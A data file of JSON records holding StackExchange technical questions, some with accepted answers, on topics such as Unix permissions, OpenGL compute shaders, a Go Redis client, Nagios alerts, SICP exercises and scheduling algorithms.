{  "id": "_unix.124502"  , "question": "How do you share a directory/home/sharedbetween two users eris and discordia such that both can access the directory in their respective home directory, e.g./home/eris/sharedand/home/discordia/sharedand both have full recursive read and write permission on the respective directory? The directories should lie on the same filesystem.I tried using bind mounts and ACLs but these do not work well when moving (and copying?) files into the shared directory, in which case the default ACL will not be applied and the files will keep their original permissions instead,The same holds for using the setguid flag,bindfs with the mirror option does what I am looking for, but at the cost of dramatically poor performance, as shown by Guy Paddock.setting the global umask to 002 is not an option,neither is using vfat."  , "title": "Sharing a local directory between local users with full permissions"  , "tags": "permissions;files;mount;file sharing"  } 
{  "id": "_unix.176215"  , "question": "Exactly what is the difference between devfs and sysfs? Both seem to maintain a list of hardwares attached to the system. Then why the need for 2 separate fs even arose? As far as I can get /sys maintains somewhat raw list of devices(like ser0). Udev acts on those devices, gets various informations and applies various rules to present them as recognizable names which are then mapped onto /dev(like camera). Is this the only reason? And then we mount the corresponding devices from the /dev fs(can't we do that from the /sys fs) into the /media fs. I have read the answer at Difference between /dev and /sys/class?. But I cannot get the sys fs part where it states that Sysfs contain the hierarchy of devices, as they are attached to the computerAre the files in /sys not device node files? Then what type of files are they? "  , "title": "Difference between /dev and /sys"  , "tags": "linux;mount;devices;udev;sysfs"  } 
{  "id": "_cs.27625"  , "question": "I am currently reading and watching about genetic algorithm and I find it very interesting (I haven't had the chance to study it while I was at the university).I understand that mutations are based on probability (randomness is the root of evolution) but I don't get why survival is.From what I understand, an individual $I$ having a fitness $F(i)$ such as for another individual $J$ having a fitness $F(j)$ we have $F(i) > F(j)$, then $I$ has a better probability than $J$ to survive to the next generation.Probability implies that $J$ may survive and $I$ may not (with bad luck). I don't understand why this is good at all? If $I$ would always survive the selection, what would go wrong in the algorithm? My guess is that the algorithm would be similar to a greedy algorithm but I am not sure."  , "title": "Why do low fitness individuals have a chance to survive to the next generation?"  , "tags": "algorithms;optimization;genetic algorithms"  , "accepted_answer": "The main idea is that by allowing suboptimal individuals to survive, you can switch from one peak in the evolutionary landscape to another through a sequence of small incremental mutations. On the other hand, if you only are allowed to go uphill it requires a gigantic and massively unlikely mutation to switch peaks.Here is a diagram showing the difference:Practically, this globalization property is the main sellling point of evolutionary algorithms - if you just want to find a local maxima there exist more efficient specialized techniques. (eg., L-BFGS with finite difference gradient and line search)In the real world of biological evolution, allowing suboptimal individuals to survive creates robustness when the evolutionary landscape changes. If everyone is concentrated at a peak, then if that peak becomes a valley the whole population dies (eg., dinosaurs were the most fit species until there was an asteroid strike and the evolutionary landscape changed). On the other hand, if there is some diversity in the population then when the landscape changes some will survive."  } 
{  "id": "_codereview.150207"  , "question": "Here is my Go code to interact with a Redis serverpackage redisclientimport (    time    gopkg.in/redis.v5)type RedisClient struct {    client *redis.Client}func New() (rc * RedisClient) {    return &RedisClient{        client: redis.NewClient(&redis.Options{            Addr:     localhost:6379,            DialTimeout:  10 * time.Second,            ReadTimeout:  30 * time.Second,            WriteTimeout: 30 * time.Second,            PoolSize:     10000,            PoolTimeout:  30 * time.Second,        }),    }}func (rc *RedisClient) SetClient(){    if rc.client != nil{        return    }    rc.client = redis.NewClient(&redis.Options{        Addr:     localhost:6379,        DialTimeout:  10 * time.Second,        ReadTimeout:  30 * time.Second,        WriteTimeout: 30 * time.Second,        PoolSize:     10000,        PoolTimeout:  30 * time.Second,    })}// dur = int64 nanosecond count.func (rc *RedisClient) SaveKeyValTemporary(key string, val interface{}, dur time.Duration) error{    rc.SetClient()    err := rc.client.Set(key, val, dur).Err()    if err != nil {        return err    }    return  nil}// func (rc *RedisClient) SaveKeyValForever(key string, val interface{}) error{    rc.SetClient()    return  rc.SaveKeyValTemporary(key, val, 0)}// func (rc *RedisClient) DelKey(key string) (int64, error){    rc.SetClient()    return  rc.client.Del(key).Result()}// func (rc *RedisClient) KeyExists(key string) (bool, error){    rc.SetClient()    return  rc.client.Exists(key).Result()}// func (rc *RedisClient) GetVal(key string) (string, error){    rc.SetClient()    return rc.client.Get(key).Result()}func (rc *RedisClient) AddToSet(setName string, Score float64, Member interface{}) (int64, error){    rc.SetClient()    return rc.client.ZAdd(setName, redis.Z{Score, Member}).Result()} // returns ([]Z, error)func (rc *RedisClient) GetTop(setName string, topAmount int64) (interface{}, error){    rc.SetClient()    if topAmount <= 0 {        topAmount = 1    }    return rc.client.ZRevRangeWithScores(setName, 0, topAmount-1).Result()}// Rank starts from 0func (rc *RedisClient) GetRank(setName string, key string) (int64, error){    rc.SetClient()    return rc.client.ZRevRank(setName, key).Result()}func (rc *RedisClient) GetScore(setName string, key string) (float64, error){    rc.SetClient()    return rc.client.ZScore(setName, key).Result()}func (rc *RedisClient) RemScore(setName string, key string)  (int64, error){    rc.SetClient()    return rc.client.ZRem(setName, key).Result()}And this is the package to test RedisClientpackage redisclient_testimport (    rcl gogameserver/redisclient     testing    reflect    time)const tempKeyStr string = 00NeverAddThiskeytempconst keyStr string  = 00NeverAddThiskeyconst valStr string  = 00NeverAddThisValconst setName string = 00NeverAddThisSetconst setKey string  = 00NeverAddThisSetKeyvar tempStrs  = [] string{00NeverAddThiskey0, 00NeverAddThiskey1,  00NeverAddThiskey2, 00NeverAddThiskey3, 00NeverAddThiskey4,  00NeverAddThiskey5}func TestSaveKeyValTemporary(t *testing.T) {    rc := rcl.New()    rc.SaveKeyValTemporary(tempKeyStr, valStr, 1*time.Second) // 10 seconds 10*1000 000 000    exists,_ := rc.KeyExists(tempKeyStr)    if !exists {        t.Errorf(Key should exist!)    }    time.Sleep(3 * time.Second)    exists,_ = rc.KeyExists(tempKeyStr)    if exists {        t.Errorf(Key should be deleted!)        rc.DelKey(tempKeyStr)    }}func TestSaveKeyValForever(t *testing.T) {    rc := rcl.New()    rc.SaveKeyValForever(keyStr, valStr)    exists,_ := rc.KeyExists(keyStr)    if !exists {        t.Errorf(Key should exist!)    }    rc.DelKey(keyStr)}func TestGetVal(t *testing.T) {    rc := rcl.New()    rc.SaveKeyValForever(keyStr, valStr)    tempVal, _ := rc.GetVal(keyStr)     if valStr != tempVal{        t.Errorf(Key should exist and be equal to %s!, valStr)    }    rc.DelKey(keyStr)}func TestAddToSet(t *testing.T) {    rc := rcl.New()    score := 12.0    rc.AddToSet(setName, score, setKey)    tempScore, _ := rc.GetScore(setName, setKey)    if tempScore != score {        t.Errorf(Stored Score is wrong!)    }    rc.RemScore(setName, setKey)}func TestGetTop(t *testing.T) {    rc := rcl.New()    scores := []float64{2,1,7,4, 3}    rev_sorted_scores := []float64{7,4,3}    for i:=0; i<5; i++ {        rc.AddToSet(setName, scores[i], tempStrs[i])    }    top3,_ := rc.GetTop(setName, 3)    s := reflect.ValueOf(top3)    for i:=0; i<3; i++ {        f  := s.Index(i).Field(0)        if rev_sorted_scores[i] !=  f.Interface() {            t.Errorf(%d: %s = %v\\n, i, f.Type(), f.Interface())        }    }    for i:=0; i<5; i++ {        rc.RemScore(setName, tempStrs[i])    }}func TestGetRank(t *testing.T) {    rc := rcl.New()    scores := []float64{2,1,7,4, 3}    for i:=0; i<5; i++ {        rc.AddToSet(setName, scores[i], tempStrs[i])    }    rank,_ := rc.GetRank(setName, tempStrs[2])    if rank != 0{         t.Errorf(Rank is : %d\\n, rank)    }    for i:=0; i<5; i++ {        rc.RemScore(setName, tempStrs[i])    }}func TestGetScore(t *testing.T) {    rc := rcl.New()    scores := []float64{2,1,7,4, 3}    for i:=0; i<5; i++ {        rc.AddToSet(setName, scores[i], tempStrs[i])    }    for i:=0; i<5; i++ {        score, _ := rc.GetScore(setName, tempStrs[i])        if score != scores[i] {            t.Errorf(%d: Expected score: %f. Score is %f\\n, i, scores[i], score)        }    }    for i:=0; i<5; i++ {        rc.RemScore(setName, tempStrs[i])    }}func TestRemScore(t *testing.T) {    rc := rcl.New()    rc.AddToSet(setName, 2, tempStrs[0])    rc.RemScore(setName, tempStrs[0])    score, _ := rc.GetScore(setName, tempStrs[0])    if score != 0 {        t.Errorf(%s exists with score: %f\\n, tempStrs[0], score)    }}Can above code be done better?Repo is here: https://github.com/ediston/gogameserver"  , "title": "Redis Client: Go based Game server"  , "tags": "go;redis"  } 
{  "id": "_reverseengineering.3227"  , "question": "I need a database of malicious code for MIPS processor Assembly or C to inject in Mibench and evaluate my detection mechanism at run time. Is there anything like this for MIPS? what about for other processors?I have shellcodes for MIPS and I want virus like codes for MIPS.Don't we have any attack benchmark for this purpose?"  , "title": "Is there any database of malicious code for MIPS processor to evaluate detection method?"  , "tags": "assembly;mips"  } 
{  "id": "_computergraphics.1640"  , "question": "I've written an implementation of the sphere tracing algorithm in OpenGL 4+.As an experiment/toy project, I'm re-implementing it using the OpenGL 4.3 compute shader, but I'm having trouble with the whole local/global invocation ID thing.The basic idea is to use the compute shader to calculate the image and output it in a texture, then use a trivial program to copy it onto the framebuffer.This is the compute shader I'm using:#version 430 corelayout (binding = 0, rgba32f) writeonly uniform image2D output_image;layout (local_size_x = 16, local_size_y = 16, local_size_z = 1) in;void main(){    ivec2 coord = ivec2(gl_GlobalInvocationID.xy);    imageStore(output_image, coord, vec4(0.0, 0.0, 1.0, 1.0));}This is how I initialize the texture:GLuint offscreen_texture;glGenTextures(1, &offscreen_texture);glActiveTexture(GL_TEXTURE0);glBindTexture(GL_TEXTURE_2D, offscreen_texture);glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA32F, WINDOW_WIDTH, WINDOW_HEIGHT, 0, GL_RGBA, GL_FLOAT, nullptr);glBindImageTexture(0, offscreen_texture, 0, GL_FALSE, 0, GL_WRITE_ONLY, GL_RGBA32F);And these are the trivial vertex shader I'm using:#version 430 corevoid main(){    const vec4 verts[4] = vec4[4](vec4(-1.0, -1.0, 0.5, 1.0),                                  vec4( 1.0, -1.0, 0.5, 1.0),                                  vec4(-1.0,  1.0, 0.5, 1.0),                                  vec4( 1.0,  1.0, 0.5, 1.0));    gl_Position = verts[gl_VertexID];}And fragment:#version 430 corelayout (location = 0) out vec4 color_out;layout(binding = 0) uniform sampler2D source_image;void main(){    color_out = texture(source_image, gl_FragCoord.xy);}And this is the render code:compute_program.use();glDispatchCompute(WINDOW_WIDTH / 16, WINDOW_HEIGHT / 16, 1);glMemoryBarrier(GL_SHADER_IMAGE_ACCESS_BARRIER_BIT);copy_program.use();glDrawArrays(GL_TRIANGLE_STRIP, 0, 4);Up to this point everything works correctly and I see my screen completely blue instead of the usual clear color.Things start to break down when I try to use the Invocation ID to generate actual data (like the rays from the camera).I tried to switch to a compute shader like:#version 430 corelayout (binding = 0, rgba32f) writeonly uniform image2D output_image;layout (local_size_x = 16, local_size_y = 16, local_size_z = 1) in;void main(){    ivec2 coord = ivec2(gl_GlobalInvocationID.xy);    imageStore(output_image, coord, vec4(0.0, 0.0, coord.x / 1280.0, 1.0));}which uses the global ID to generate the blue tint of the pixel.As I understand from the OpenGL Suberbible book and the OpenGL wiki, I should be able to use the global ID as screen space coordinates (it's pretty easy to do the math using local IDs and work groups IDs and confirm that), much like gl_FragCoord, and this is confirmed by the previous trivial compute shader which paint every pixel.I would expect a sort of horizontal gradient going from black to blue as an output of this compute shader, but instead everything turns black.I've tried several combination of painting based on the local/global IDs of the threads, but I haven't got any luck no matter what.Did I misunderstand the way the whole threads ID work?What is the correct way to use them/map them to screen space coordinates like gl_FragCoord?EDIT: Just to add, I've tested this with both my integrated Intel HD 5100 and my discrete Nvidia 765M GPUs and the result is the same, so there is clearly something wrong on my side."  , "title": "How to convert a thread ID into Screen Space Coord in an OpenGL Compute Shader?"  , "tags": "opengl;glsl;compute shader;c++"  , "accepted_answer": "The problem is actually in your fragment shader:color_out = texture(source_image, gl_FragCoord.xy);The texture() function accepts normalized coordinates which range from 0.0 to 1.0. The gl_FragCoord built in contains window coordinates which range from (0.0, 0.0) to (window width, window height).To fix this, change the fragment shader to this:color_out = texture(source_image, gl_FragCoord.xy / vec2(1280.0, 720.0));That is assuming your window is 1280x720, change as necessary."  } 
{  "id": "_softwareengineering.187245"  , "question": "I have an interesting problem for you all. I have a partial solution but I feel you guys can come up with an efficient solution. What I have a SQL table with following structure:StockId <- a unique ID for the shareStockHolderId <- a unique ID for the share holderStockPrice <- The price of the stock - if this is a request to purchase this is kept -1BuyingorSelling <- value of 1 means the holder wants to buy, value 2 means he is sellingStockQuality <- a special record that stores a value calculated based on some complex computation. The values are 1, 2, or 3 based on let us say bad, neutral, good.What I want to do is to find out who all can give me the stock I want to buy and who can purchase the ones I got. I want the person who gives a good quality stock (local value) at cheapest price (global value) to be my best selling match and the person who can buy most (semi global) of my stocks to be my best buying match. The formula to rank the seller is  0.5 * price + 0.3 * availability + 0.2 * quality. How would you go about it? Any ideas? I have created a table that joins with itself to get info of every match and then grouping but how can I acquire the price value to be cheapest?"  , "title": "Calculating local results from global values using SQL and PHP"  , "tags": "algorithms"  } 
{  "id": "_softwareengineering.342963"  , "question": "I'm reading Tanenbaum's Modern Operating Systems and I really can't grasp the following concept: how does a program make a system call? I mean, i got the very basics down (correct me if I'm wrong): the OS is just another program running on the machine (the difference being that it can run in kernel mode having complete access to the machine's hardware) and when an user's program want to have a sort of advanced feature given by the OS, it tries to get it through a system call to the OS itself, writing the call's type and parameters on its stack and making a trap call. Now, I got this down, but the question is, how does a program know that, let's say, the read call on Unix is identified by the ReadFile call on the Win32 API? For example, in a program written in C, is this info known by the compiler? And let's say in the future a new OS introduces the foo system call, that does the exact same thing as the Unix's read... Well, how would a user's program know that?"  , "title": "How does a program make a system call"  , "tags": "operating systems"  } 
{  "id": "_datascience.19863"  , "question": "Does test classification rate and training time the best evaluation criteria for a classifier! Basically I have used the training time and test classification rate as a criteria to evaluate my classifier ( as in many papers, many studies they used training test CR)Is there anyone could explain why test CR and training time are the most used? Once we are asked to justify why these evaluation criteria, what a good answer should be? Honstly it starts to be a habit ( as in all papers I read) we asked how long the classifer does take? and the % of correct answer.. But I need more logical answers ( more explained...)"  , "title": "Evaluation criteria of classifiers (test classification rate and training time)"  , "tags": "classification"  } 
{  "id": "_unix.212084"  , "question": "I check my server on WAN with ping and https by Nagios Core 3.5.1.Here is the host alert history.June 23, 2015 18:00     Service Ok[06-23-2015 18:13:47] SERVICE ALERT: webserver;PING;OK;HARD;3;PING OK - Packet loss = 0%, RTA = 33.72 msService Ok[06-23-2015 18:13:40] SERVICE ALERT: webserver;HTTPS;OK;HARD;3;HTTP OK: HTTP/1.1 200 OK - 359 bytes in 0.201 second response timeHost Up[06-23-2015 18:06:29] HOST ALERT: webserver;UP;SOFT;8;PING OK - Packet loss = 0%, RTA = 33.92 msHost Down[06-23-2015 18:05:25] HOST ALERT: webserver;DOWN;SOFT;7;CRITICAL - Time to live exceeded (1.2.)Host Down[06-23-2015 18:04:19] HOST ALERT: webserver;DOWN;SOFT;6;PING CRITICAL - Packet loss = 100%Service Critical[06-23-2015 18:03:53] SERVICE ALERT: webserver;PING;CRITICAL;HARD;3;PING CRITICAL - Packet loss = 100%Host Down[06-23-2015 18:03:49] HOST ALERT: webserver;DOWN;SOFT;5;PING CRITICAL - Packet loss = 100%Service Critical[06-23-2015 18:03:49] SERVICE ALERT: webserver;HTTPS;CRITICAL;HARD;3;CRITICAL - Socket timeout after 10 secondsHost Down[06-23-2015 18:02:19] HOST ALERT: webserver;DOWN;SOFT;4;(Host check timed out after 30.01 seconds)Service Critical[06-23-2015 18:01:53] SERVICE ALERT: webserver;PING;CRITICAL;SOFT;2;PING CRITICAL - Packet loss = 100%Service Critical[06-23-2015 18:01:49] SERVICE ALERT: webserver;HTTPS;CRITICAL;SOFT;2;CRITICAL - Socket timeout after 10 secondsHost Down[06-23-2015 18:01:48] HOST ALERT: webserver;DOWN;SOFT;3;(Host check timed out after 30.01 seconds)Host Down[06-23-2015 18:00:18] HOST ALERT: webserver;DOWN;SOFT;2;PING CRITICAL - Packet loss = 100%June 23, 2015 17:00     Service Critical[06-23-2015 17:59:53] SERVICE ALERT: webserver;PING;CRITICAL;SOFT;1;PING CRITICAL - Packet loss = 100%Service Critical[06-23-2015 17:59:49] SERVICE ALERT: webserver;HTTPS;CRITICAL;SOFT;1;CRITICAL - Socket timeout after 10 secondsHost Down[06-23-2015 17:58:48] HOST ALERT: webserver;DOWN;SOFT;1;(Host check timed out after 30.02 seconds)Service Ok[06-23-2015 17:29:48] SERVICE ALERT: webserver;PING;OK;SOFT;2;PING OK - Packet loss = 0%, RTA = 34.72 msSo, 17:29 o'clock was everthing all right.17:58 o'clock till 18:05 o'clock was Packet loss = 100% and Socket timeout.My Question is, why didn't I get a notification?Some days bevor and today I get warning notifications just fine, but I never get a critical notification.Here is my contact.cfgdefine contact{    contact_name                    nagiosadmin             ; Short name of user    use                             generic-contact         ; Inherit default values from generic-contact template (defined above)    alias                           Nagios Admin            ; Full name of user    email                           user@localhost     ; <<***** CHANGE THIS TO YOUR EMAIL ADDRESS ******    }Here is my templates.cfgdefine contact{    name                            generic-contact         ; The name of this contact template    service_notification_period     24x7                    ; service notifications can be sent anytime    host_notification_period        24x7                    ; host notifications can be sent anytime    service_notification_options    w,u,c,r,f,s             ; send notifications for all service states, flapping events, and scheduled downtime events    host_notification_options       d,u,r,f,s               ; send notifications for all host states, flapping events, and scheduled downtime events    service_notification_commands   notify-service-by-email ; send service notifications via email    host_notification_commands      notify-host-by-email    ; send host notifications via email    register                        0                       ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL CONTACT, JUST A TEMPLATE!    }"  , "title": "Nagios missing alert notification"  , "tags": "nagios"  } 
{  "id": "_codereview.115907"  , "question": "From SICPExercise 2.27: Modify your deep-reverse procedure of Exercise 2.18 to produce a deep-deep-reverse procedure that takes a list as argument and returns as its value the list with its elements deep-reversed and with all sublists deep-deep-reversed as well. For example, (define x (list (list 1 2) (list 3 4)))x((1 2) (3 4))(deep-reverse x)((3 4) (1 2))(deep-deep-reverse x)((4 3) (2 1))Please review my code.(define (deep-deep-reverse lst)    (cond ((null? lst) '())        ((list? lst) (append (deep-deep-reverse (cdr lst)) (list (deep-deep-reverse (car lst)))))    (else lst)))I spent an hour doing this, and I am actually extremely surprise on how small this code is in the end. How can I improve this code? Perhaps make it faster?"  , "title": "SICP - exercise 2.27 - reversing elements of a list and sublists"  , "tags": "performance;beginner;lisp;scheme;sicp"  , "accepted_answer": "If you actually indented it that way please use an editor that doesautomatically - usually the individual cases of the cond should align,e.g. like so:(define (deep-deep-reverse lst)  (cond   ((null? lst) '())   ((list? lst) (append (deep-deep-reverse (cdr lst))                        (list (deep-deep-reverse (car lst)))))   (else lst)))The function looks good.  For clarity it might make sense to move themiddle case to the end, but it's not like that changes much.However consider that append used in this way is quite expensivebecause it repeatedly recreates a long list (from the cdr recursion)to stick the short list (from the car part) at the end.(As an exercise for the reader) you can use an accumulator instead toavoid append completely (instead cons is enough).  The functionwould look pretty similar:(define (deep-deep-reverse2 lst)  (define (aux lst acc)    ...)  (aux lst '()))"  } 
{  "id": "_softwareengineering.236668"  , "question": "Imagine a small local business (in my case a dog daycare) with a few dozen part-time employees . The goal is to automatically create weekly staff schedules. My question is about what algorithmic approaches to explore for this problem.There are many constraints to keep in mind, chiefly (1) the availability of the staff and (2) the needs of each shift, not just how many staff for each shift but the skills needed for each shift (e.g. for a certain shift, you may need someone who knows how to drive to do pick-ups/drop-off of dogs, for another, someone who know how to give dogs baths, etc). Other constraints include things like avoiding or requiring certain staff combos -- perhaps due to personality conflicts on one hand, or need for training by osmosis from a senior to junior staff on the other.Also, there are preferences to take into account. Some staff prefer mornings, some two days in a row rather than say Monday and Thursday, etc. We know we can't always accommodate everyone's preferences. In fact we have a hierarchy of which employees get first dibs on their choices.I have a hunch that there is a way to reduce or express this problem into an existing, already solved algorithm. But I don't know which algorithms to explore. Which existing, specific algorithms would be most promising?"  , "title": "What algorithm should I use to create an automatic staff scheduling feature?"  , "tags": "algorithms"  , "accepted_answer": "Algorithms such as Local Search (Tabu Search, Simulated Annealing, Late Acceptance) work very well on such problems.As Bob suggests, if you're working in Java, take a look at OptaPlanner (open source). See this video on employee rostering."  } 
{  "id": "_unix.365253"  , "question": "I'm using Amazon Linux and am creating a bash script.  I'm tryhing to email an attachment and am having success with(cat $TFILE1; uuencode $output_file $output_file) | mailx -s $subject $to_emailHowever the issue I'm having is taht the attachment is showing up (at least in Gmail) with the name noname.  Is there a way I can make the attachment show up with the same name as the $output_file variable?"  , "title": "How do I create a file name for my email attachment?"  , "tags": "shell script;cat;mailx;amazon linux"  } 
{  "id": "_cs.71886"  , "question": "I am stuck on a problem in which I have to print sum of 2Pi mod 1000000007 for all i where Pi  is sum of numbers in ith subset of a set X.Length of set can be upto 100000.Value of element in the range [0,1012].Here's the link of the Problem.Problem StatementI could not find any approach other than Brute-Force which gives verdict TLE.@Moderators,admins etc.Before putting this question on hold or marking off-Topic or closed....Please comment the reason so that I can know the reason and if possible reword it or ask on any other StackExchange Site.I first posted it on codegolf.stackexchange.com and people(moderators) there have suggested me to post it here as it comes under algorithm category.You can read about it here.Programming Puzzles and Code golfThank You"  , "title": "Sum of 2^Pi mod 1000000007 for all i where Pi is sum of numbers in ith subset of a set X"  , "tags": "discrete mathematics;sets"  , "accepted_answer": "If the set you're using is $X=\\{x_1,x_2, \\dotsc,x_n\\}$, then the expression you want to evaluate is equivalent to$$(2^{x_1}+1)(2^{x_2}+1)\\dotsm(2^{x_n}+1)\\bmod{1000000007}$$This isn't too hard to prove; here's an example to help you see what's going on:Suppose $X=\\{a,b,c\\}$. Then the subsets of $X$ are, obviously,$$\\{\\},\\{a\\},\\{b\\},\\{c\\},\\{a,b\\},\\{a,c\\},\\{b,c\\},\\{a,b,c\\}$$and the corresponding sums of elements in those subsets will be$$0,a,b,c,a+b,a+c,b+c,a+b+c$$leading to the sum$$2^0+2^a+2^b+2^c+2^{a+b}+2^{a+c}+2^{b+c}+2^{a+b+c}=(2^a+1)(2^b+1)(2^c+1)$$The general result can be established by a fairly simple induction proof."  } 
{  "id": "_softwareengineering.266311"  , "question": "I run a development team that recently started using Jira and we began using agile scrum. I'm curious about a certain aspect of backlogged issues.So far I have been marking new issues as unassigned until the issues are actually assigned to anyone. Most of the time this process is done during the sprint planning meeting.A different team leader began assigning my name to the unassigned issues and changed the setting to the default assignee is myself rather than unassigned. Does this sound logical?"  , "title": "Scrum and backlogged issues"  , "tags": "agile;scrum;jira"  , "accepted_answer": "I think how you manage your Jira is really up to you and your team. We use a different issue tracking system to Jira that has the ability to create virtual accounts. Our last lead developer used to like all issues assigned to him which he would then dish out.When I took over temporarily I created a virtual account called Up For Grabs and moved all un-assigned work to this account. I did this because I didn't want people thinking that work was being done because it was assigned to someone (me) when it was not. So I moved anything that was not being worked on to this account. Since our new team leader has joined us and we have adopted scrum, we have kept the Up For Grabs account and used that as our default assignee. We find this works best because no one in our team assigns work out, instead we pick up tasks ourselves from the current sprint.  This also means no one has anything else attached to them other than what they're currently working on.However if you have multiple teams it could potentially get confusing. I'm not very familiar with Jira but perhaps having something you can assign it to that is called something like Team X - Up For Grabs or something akin to a virtual user (not attached to any team member individually). This would mean your other team leaders don't get confused with unassigned work, but you also don't have a swamped account with loads of assigned work."  } 
{  "id": "_webmaster.11672"  , "question": "With the introduction of the Semantic Web we (SEOs) have the opportunity to mark-up our content in such a way that robots/crawlers have a better understanding about the meaning of our content. And, we (SEOs) are keen on presenting our website's content in such a way it matches the search query of the Google (or Bing or Yahoo) user in the best possible way. On the search engine side engineers are keen on providing search results that provide the best match and information related to the search query that is being used. Thus, the introduction of the rich snippet. And this might very well be the development in the transition from Web 2.0 to Web 3.0?When it comes to internet users: There is an enormous amount of people that use search engines because they have a question and they are looking for the right answer to that question. As a response we now have a wide variety of question and answer (Q&A) websites for a wide variety of topics. To me the logic next step would be to use a semantic markup that tells a robot/crawler what is a/the question and what are answers to that question. Even cooler is the fact that the community of a specific Q&A website is able to rate (e.g. by up- or downvote or starred rating) a certain answers and can mark a question as 'the correct answer'.The search engines could interpret the markup and create a SERP containing rich snippets pointing out the Q&A. Now, doesn't that provide the opportunity to present the search engine user with a search result that:Matches the question;Provides a title and description of the question;Provides the top 'x number' of answers / best rated answers;Provides the correct answer.The snippet could look (for example!) like this:It goes without saying that the formatting of the snippet can have many varieties, but that's not really up to me ;)I have done some research and I cannot find any markup or Microformat that support Q&A semantics within a website. Is this something that is around and that I am simply missing? Or is it coming up? To me it seems perfect to have the correct answer to your question directly visible and accessible through from SERP's rich snippets."  , "title": "Microformatting questions & answers - Semantic Web 3.0?"  , "tags": "search engines;rich snippets;structured data;semantic web"  } 
{  "id": "_scicomp.20028"  , "question": "I have an infinitely long cylinder defined usingradiusa point in 3d Axis defined using a 3d vectorI have a set of points with 3d coordinates placed in a grid.I want to wrap this grid of points around the curvature of my cylinder. How to do it "  , "title": "Wrapping grid of points around curvature of an infinitely long cylinder"  , "tags": "computational geometry"  , "accepted_answer": "It seems like you are trying to project the grid points onto the cylindrical surface. You can do this via a few vector projections.Let r be the cylinder radiusLet P be a grid point.Let a be the cylinder axis unit vector.Project P along a Pa = (P · a) * a Compute projection of grid point perpendicular to axis P⊥ = P - Pa Compute unit vector of perpendicular projection p⊥ = P⊥ / ||P⊥|| Compute the projection of the grid point on the cylinder Pcyl = Pa + r * p⊥ Pcyl is the value you want. Compute it for each grid point. Basically, you are moving up the cylinder axis until you reach the grid point in that direction, then you move toward the grid point until you hit the cylinder, then you stop."  } 
{  "id": "_unix.85922"  , "question": "How do I run/install this: https://github.com/kevmoo/kbuild?I installed the dependencies and tried to execute the bin/kbuild Python script, but it's giving me this error:Traceback (most recent call last):  File kbuild/bin/kbuild, line 12, in <module>    BREW_PREFIX = subprocess.check_output(['brew', '--prefix']).strip()  File /usr/lib/python2.7/subprocess.py, line 537, in check_output    process = Popen(stdout=PIPE, *popenargs, **kwargs)  File /usr/lib/python2.7/subprocess.py, line 679, in __init__    errread, errwrite)  File /usr/lib/python2.7/subprocess.py, line 1259, in _execute_child    raise child_exceptionOSError: [Errno 2] No such file or directoryMy guess is that this tool was intended for OSX and Homebrew and that's why it's choking.  I just wasn't sure based on the minimalist installation instructions."  , "title": "How do I install kbuild?"  , "tags": "python"  , "accepted_answer": "Looking at the kbuild script it does appear to be OS X & brew specific.https://github.com/kevmoo/kbuild/blob/master/bin/kbuildexcerpt from script...BREW_PREFIX = subprocess.check_output(['brew', '--prefix']).strip()compiler_search_path = path.join(BREW_PREFIX, 'Cellar/closure-compiler', '*', 'libexec/build/compiler.jar')compilers = glob.glob(compiler_search_path)...The homebrew directory on github would seem to lead credence to this too:If you'd like to install kbuild via Homebrew:brew install https://raw.github.com/kevmoo/homebrew-kevmoo/master/kbuild.rborbrew tap brew tap kevmoo/kevmoo brew install kbuild"  } 
{  "id": "_webmaster.3596"  , "question": "I would like to be able to specify some meta keywords and meta descriptions for some of my pages in our Drupal (version 6) site. However, there does not appear to be a way to do that within Drupal (at least out of the box). I've seen some references to some Drupal modules which might allow you to do this, but it doesn't look like they've been updated in a long time. Any suggestions?As a correlary, if meta keywords and meta descriptions really aren't worth bothering with any more, is there a way I can tell Hubspot to stop reminding me to add them? :)"  , "title": "Is there a way to specify meta keywords and descriptions with Drupal?"  , "tags": "seo;drupal;meta keywords;meta description"  , "accepted_answer": "I'm using NodeWords: http://drupal.org/project/nodewords(but it does not run on Drupal 7, so your success will depend on what version of Drupal you are using for your site)Regarding the updates, the dev version was updated just yesterday, and the released version is not that old as to make me doubt its usefulness or support status.Meta descriptions will help Google show a description for your page under the search result instead of some random snippet of text taken from the page. It may be worth it just for that :)"  } 
{  "id": "_softwareengineering.333546"  , "question": "I am trying to understand how interpreter pattern can actually be implemented. As per the diagram; an expression has 2 nodes: terminal & non-terminal. Can it have multiple type of nodes as well? Because I believe it is drawn considering the math expression transformed in binary tree DS where leaf nodes are number and non-leaf nodes are operations: +,-,/ etc.Somewhere I read that java.util.Pattern is an example of interpreter pattern. Pattern pattern = Pattern.compile(^[abc](ab|c?d)?ef$);Matcher matcher = pattern.matcher(some RE);if(matcher.matches()){ .. }So I was trying to relate if my implementation of RE engine: BooleanSequence is also an example of interpreter pattern.BooleanSequence seq = new BooleanSequence([abc](ab|c?d)?ef);seq.compile();seq.minimize();Matcher matcher = seq.getCoreMatcher();matcher.match(some RE);Implementation note:Main class BooleanSequence(BS) takes RE (can be considered as context) and build some kind of in-memory DS, where each char of RE is a node. There are many types of node, like: normal, range, lazy, any etc. I believe it can be considered as expression as given in diagram.Node class also has match(). BS gives a matcher or it can be created separately. It is completely isolated from BS class. And there are many types of matchers (currently 3). Matcher calls match() of all the nodes until whole expression is evaluated."  , "title": "Understanding Interpreter pattern"  , "tags": "design patterns"  , "accepted_answer": "This class diagram means that an AbstractExpression is either a TerminalExpression or a NonTerminalExpression.  If its a NonTerminalExpression, it is itself an aggregation of one or several AbstractExpression.  In fact this structure is a tree.  Typically the terminals would be further derived into vriables and litterals, and the non terminals would be further derived at lest in unary and binary operators, but may be even more. An example of instantiation could be:  In your java.util.Pattern example: the calling code is the client, who first build the abstract syntax tree when compiling a regex pattern (i.e. building an internal representation of the regex pattern).the Pattern is the interpreter.  It would in principle correspond to the top level  AbstractExpression.  The only particularity is that the structure of the expression is encapsulated in the interpreter and not accessible. the Pattern.matcher() is the equivalent of a call to interpret(), the string to parse being the context.  the Matcher object is the result of the interpretation with on a particular string.  "  } 
